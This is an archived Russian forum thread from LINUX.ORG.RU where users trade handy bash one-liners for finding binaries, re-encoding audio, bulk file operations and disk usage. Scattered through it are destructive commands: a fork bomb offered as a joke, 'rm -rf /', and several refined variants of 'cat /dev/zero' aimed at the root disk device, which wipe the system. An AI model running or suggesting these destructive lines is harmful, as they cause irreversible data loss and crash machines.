LINUX.ORG.RU

Полезные консольные скрипты

 ,


0

0

В статье "Магия консольных одностроковых скриптов" приведены примеры того, как можно получить простые и полезные решения за счет всего одной строчки в командной строке bash. Давайте не будем разводить пустой флейм по поводу бесполезности статьи и хвастаться тем, что вы уже всё это давно знаете. Лучше приведите в комментариях примеры полезных скриптов, которые используете сами - может получиться очень интересный материал.

>>> Подробности

★★★

Проверено: Shaman007 ()

Ответ на: комментарий от sdio

> Открой для себя whereis
> 
> $ whereis gcc
> gcc: /usr/bin/gcc /usr/lib/gcc /usr/lib64/gcc
> 
> sdio ***** (*) (26.08.2008 14:59:44)

sky $ path gcc\*
/home/vsv/bin/gcc-
/usr/bin/gcc
/usr/bin/gccmakedep
sky $ whereis gcc\*
gcc*:
sky $ 

еще пример (поумнее tab completion IMHO):
path system-config-\*

или вот вообще нерешаемая задача для whereis:    ;)

sky $ path \*make
/home/vsv/bin/dogmake
/usr/bin/automake
/usr/bin/ccmake
/usr/bin/cmake
/usr/bin/gmake
/usr/bin/imake
/usr/bin/make
/usr/bin/pbmmake
/usr/bin/pgmmake
/usr/bin/ppmmake

:) -- vsv

короче, whereis тоже не ice и давно это известно ;)

P.S
а вообще забавно смотреть, как за последние двадцать лет изобретено одних и тех же лисапедов. Каждое новое поколение пепси норовит наплодить одних и тех же глюковин, плохо понимая те, что уже есть ;)
BTW, во времена переползания с коммерческих систем на эти угробища потерял очч. красивый скрипт для /bin/sh, работающий с командочкой ps что *BSD, что в *X, но не работающий в /bin/bash по причине
туевой хучи read-only переменных окружения, в порядке нарушения принципа KISS,
например PID, PPID, и т.п ;)

:)
ожидаю вопросов что значит KISS :)


-- vsv

anonymous
()
Ответ на: комментарий от anonymous

> ожидаю вопросов что значит KISS :)
<flame>"Чмоке"</flame>
:)

По теме: не могу вспомнить своих скриптов, которые использовал бы - они рождаются спонтанно, под текущие задачи и также спонтанно умирают.

Slavaz ★★★★★
()
Ответ на: комментарий от anonymous

>или вот вообще нерешаемая задача для whereis: ;) sky $ path \*make

можно как вариант locate make | grep bin, часто пользуюсь подобным. понятно что не всегда подходит, но зато удобно и быстро.

frd ★★
()
Ответ на: комментарий от anonymous

д'Билл, рм -фр / не канает... в генте года три как.

aramiz
()

df -h /dev/hda5 /dev/hda6 /dev/hda7 | grep -vE '^Filesystem' | awk '{ printf $6 " "$4" "}' | sed 's/\/mnt\///g')

Вот, написал для вывода на статусбар по бинду для wmii. Только сдается мне можно это проще реализовать, не подскажет ли всемогущий олл вариантов получше, а то прямо страшно смотреть.

frd ★★
()
Ответ на: комментарий от anonymous

катит, если ищем в bin чего-то, а так везде.

frd ★★
()

Перекодирование кучи mp3-шек в один большой AAC-файл. Часто юзаю для подготовки аудиокниг к прослушиванию на айподе:

find -iname "*.mp3" | sort | nice mpg123 -s -r 22050 -m -@ - | nice faac -P -X -R 22050 -C 1 -b 96 -o audiobook.m4b -

HINT: при помощи утил с gnuwin32.sourceforge.net и win32-сборок mpg123 и faac можно то же самое делать под виндой

anonymous
()
Ответ на: замена which и вообще полезняшка от anonymous

> #!/bin/sh
> #
> # Печать полного имени команды, найденной в $PATH
> #
> # За основу взята идея из книги:
> #
> #       Баурн С.
> #       Операционная система UNIX: пер. с англ.-М.,
> #       Мир, 1986.
> #       стр.258
>
> # пользуйтесь все кому не лень, vsv (тот самый)
> ...


Не работает если в $PATH есть имена каталогов с пробелами.
Щас попробовал в Цыгвине, вот что получается:

$ path
/cygdrive/c/Program (BAD)
Files/ATI (BAD)
Technologies/ATI (BAD)
Control (BAD)
Panel (BAD)
...

anonymous
()

Пользуюсь следующими односточками:

Send email from command line: echo 'text message' | /bin/mail -s 'subject' mymail@mail.com

Delete list of files when Argument list is too long: find /path/to/files/ -name '*.txt' | xargs rm

Create list of files when Argument list is too long: find /path/to/files/ -name '*.txt' -print > filelist.txt

Search and replace over multiple files: perl -pi -w -e 's/search/replace/g;' *.txt

trouble
()

Весьма полезен для осознания, если есть чем, некоторых вещей однострочник: :()(:|:);:

Waso
()
Ответ на: комментарий от Somewho

> rm -rf /

>> самый полезный скрипт

эх, бля, двоечники xyевы! нормальный rm с корня уже сделать не могут

anonymous
()

Интересно, есть утилита противоположная команде sort? Т.е. которая не отсортирует, а перемешает входящие на нее строки в случайном порядке. Например для такого вот использования:

locate .mp3|shuffle>~/all_mp3_shuffle_list.m3u

набросал пока аналог такого shuffle на перле представляющем строки с stdin как массив строк и затем rand-омом их оттуда вынимающий на stdin, но скрипт тормоз еще тот :(

Может кто-то знает нативную утилиту для этого?

sergom
()

Внесу и я свои пять копеек. В свое время в ветке покаравшей простаков сидящих под рутом проскакивал вредоносный скрипт делавший что то вроде

cat /dev/zero >/dev/hda

Справедоиво было замечено, что далеко не всегда и везде он сработает, мой вариант:

cat /dev/zero > `mount | grep " on / " | awk '{print $1}'`

Примитив конечно, но если ошибся поправьте, буду признателен.

A-234 ★★★★★
()

Ничего особенно полезного.. Приводить примеры? Да их и не перечислить всех, всё от ситуации зависит. Заранее на всё случаи жизни не напасёшься. Тут, как бы, главное понимание и умение использовать стандартные инструменты в зависимости от ситуации решает.

MiracleMan ★★★★★
()
Ответ на: комментарий от dGhost

Почему же? Поверю :) Спасибо! Вот блин к чему приводит не внимательное прочтение манов :(

sergom
()

ipcs -m | awk '$5 == user { system("ipcrm -m " $2) }' user=$USER

cat > textmode
printf "\017"
^D
"Секретный" код termcap/terminfo, который переключает терминал(например, xterm) в текстовый режим. Полезно, если у вас полезли кракозябры на экране после cat /kernel.

BaT ★★★★★
()

Ага, вот эти ребята. - Эй, хотите увидеть особую консольную магию? О_О

anonymous
()
Ответ на: комментарий от maloi

> cat /dev/zero > `df / | sed -n "2s/\([^ ]*\).*/\1/p"`

Ну точно, df, я стормозил, спасибо :)

A-234 ★★★★★
()
Ответ на: комментарий от sergom

>Интересно, есть утилита противоположная команде sort? Т.е. которая не отсортирует, а перемешает входящие на нее строки в случайном порядке.

В последних версиях coreutils sort поддерживает ключик -R (--random-sort)

php-coder ★★★★★
()
Ответ на: комментарий от anonymous

Не работает если в $PATH есть имена каталогов с пробелами.
Щас попробовал в Цыгвине, вот что получается:

$ path
/cygdrive/c/Program (BAD)
Files/ATI (BAD)
Technologies/ATI (BAD)
Control (BAD)
Panel (BAD)
...
================================
а никто и не обещал, что скрещивание быдлоподелий с православными *nix-ами будет легким.

Ни одному старому юниксоиду в голову не придет
делать имена файлов с пробелами,
и тем более, ставить такое в PATH.

IMHO даже через клоунаду с IFS= и sed/awk
не получится сделать подобный скрипт
элегантным в расчете на пробелы в путях и именах файлов...
На tcl будет попроще с этим ;)

-- vsv

anonymous
()
Ответ на: комментарий от sdio

> Смешной ты, однако.

> sdio ***** (*) (26.08.2008 22:59:18)

ужос. в отсутствие аргументов для продолжения - переход на личности, да еще и в адрес анонимуса ;)

Что, пять звезд на лор-е дают такой кураж? =8-)

Фи, короче.

-- vsv

anonymous
()
Ответ на: комментарий от Waso

> Весьма полезен для осознания, если есть чем, некоторых вещей однострочник: :()(:|:);:
> Waso * (*) (26.08.2008 21:19:44)


Вась, а ты-то что здесь делаешь, да еще и с такими советами...:))

GlorySmith
()
Ответ на: комментарий от anonymous

> А чем плохи каталоги .svn на хостинге? форбид их в конфигах апача и все зато обновление происходит лучше

Но скрипты-то (php например) их видят. Иногда получаются нежелательные вещи (когда скрипт должен рекурсивно по подкаталогам шариться).

santa_claus_rpm
()
Ответ на: комментарий от anonymous

>>cat /dev/zero > `df / | tail -n1 | sed -e "s/ /\n/" | head -n1`

можно и так cat /dev/zero > `df / |awk {'print $1'}|tail -1`

kiwirus
()
Ответ на: комментарий от SilentLexx

> Часто юзаю find . -maxdepth 1 -type d -exec du -sh '{}' \;

> Выводит полный размер директорий, находящихся в текущей.

du --max-depth=1 -h

???

h4tr3d ★★★★★
()
Ответ на: комментарий от BaT

> "Секретный" код termcap/terminfo

с какого-то времени появилась команда reset, она же вроде тоже самое делает, не?

h4tr3d ★★★★★
()
Ответ на: комментарий от anonymous

>Когда сайт делается под ключ - да, но вот когда сайт обновляется и меняется, то тут лучше чтобы выгрузить можно было быстро...


Как-то не было на одном хостинге нормального ssh с rsync, был веб-интерфейс с загрузкой файлов и распаковкой архивов.

Обновлял сайт зипом, создавать архив с только изменёнными за последнее редактирование файлами:

find . -mtime 0 -print>Changed-files
zip `pwd`-Changes-`date +%d%m%y-%k%M%S`.zip -9 -v `grep -E -v -f .cvsignore Changed-files`
echo file `pwd`-Changes-`date +%d%m%y-%k%M%S`.zip created.
#zip ../`pwd`-Changes-`date +%d%m%y-%k%M%S`.zip -9 -q `cat Changed-files`

хотя сейчас замечательно справляется hg archive / hg bundle

anonymous
()
Ответ на: комментарий от SilentLexx

>find . -maxdepth 1 -type d -exec du -sh '{}' \;

если в директории 20 поддиректорий, du выполнится 20 раз?
в отличие от du -hs -max-depth=1 . ?

anonymous
()

egrep -v '^#' httpd.conf

anonymous
()
Ответ на: комментарий от frd

вместо sed 's/\/mnt\///g' написать sed 's!/mnt/!!g'

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.